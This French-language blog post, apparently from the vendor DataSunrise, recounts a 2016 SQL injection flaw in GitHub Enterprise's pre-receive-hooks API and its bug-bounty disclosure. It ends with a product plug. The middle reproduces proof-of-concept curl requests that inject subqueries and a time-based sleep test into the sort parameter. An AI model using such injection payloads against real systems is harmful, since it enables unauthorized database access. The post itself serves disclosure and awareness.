Que votre vulnérabilité soit (un peu) joyeuse
Les attaques par injection SQL contre les applications sont en hausse, avec les grandes entreprises et les corporations mondiales comme principales cibles. Comme nous l’avons vu à maintes reprises, même les logiciels de fournisseurs fiables peuvent avoir des vulnérabilités qui permettent aux utilisateurs malveillants de compromettre la sécurité d’une application. En voici un autre exemple.
La fin de l’année 2016 a été marquée par la découverte d’une nouvelle vulnérabilité dans GitHub Enterprise. GitHub.com est un service d’hébergement basé sur le web, qui utilise Git – un système de contrôle de version distribué open source. GitHub Enterprise est la version sur site de GitHub, conçue pour fonctionner sur le réseau local d’une organisation. La vulnérabilité découverte permettait aux utilisateurs malveillants d’injecter des commandes SQL dans les déclarations SQL en envoyant une demande spécifique.
GitHub Enterprise est livré sous forme d’un appareil virtuel avec des licences d’essai gratuit de 45 jours disponibles. Il partage une base de code avec GitHub.com. Le code source est gardé privé et lors de l’installation, il est récupéré en mode transparent. Après avoir dé-obscurci le code, le chercheur a découvert que le code était principalement écrit en Ruby avec des composants Python, C++, Bourne Shell et Java. Après avoir accédé au code, il lui a fallu seulement quatre jours pour analyser les problèmes potentiels et trouver une vulnérabilité d’injection SQL dans le modèle PreReceiveHookTarget de GitHub Enterprise. La charge utile malveillante pouvait être injectée dans le paramètre de tri lors de l’envoi d’une requête à l’API d’accès.
$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \
'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=???????? &sort=id,(select+1+from+information_schema.tables+limit+1,1)'
$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \
'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=???????? &sort=id,(select+1+from+mysql.user+limit+1,1)'
{
"message": "Erreur du serveur",
"documentation_url": "https://developer.github.com/enterprise/2.8/v3/orgs/pre_receive_hooks"
}
$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \
'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=???????? &sort=id,if(user()="github@localhost",sleep(5),user())
GitHub a été informé de la vulnérabilité en décembre et a résolu le problème dans la version 2.8.5 de GitHub Enterprise. Le chercheur qui a repéré le bug a reçu une récompense de 5000 $. Le programme de prime aux bugs de GitHub a été lancé il y a trois ans. Pendant cette période, plus de 100 chercheurs en sécurité des logiciels ont été récompensés et plus de 100 000 $ ont été versés pour saluer leurs efforts.
L’injection SQL est la vulnérabilité d’application la plus dangereuse et la plus utilisée. Il est donc crucial de disposer des outils adéquats pour prévenir ce type d’attaques. DataSunrise surveille et analyse constamment les requêtes SQL pour prévenir les injections SQL en temps réel et garantir une sécurité continue de la base de données.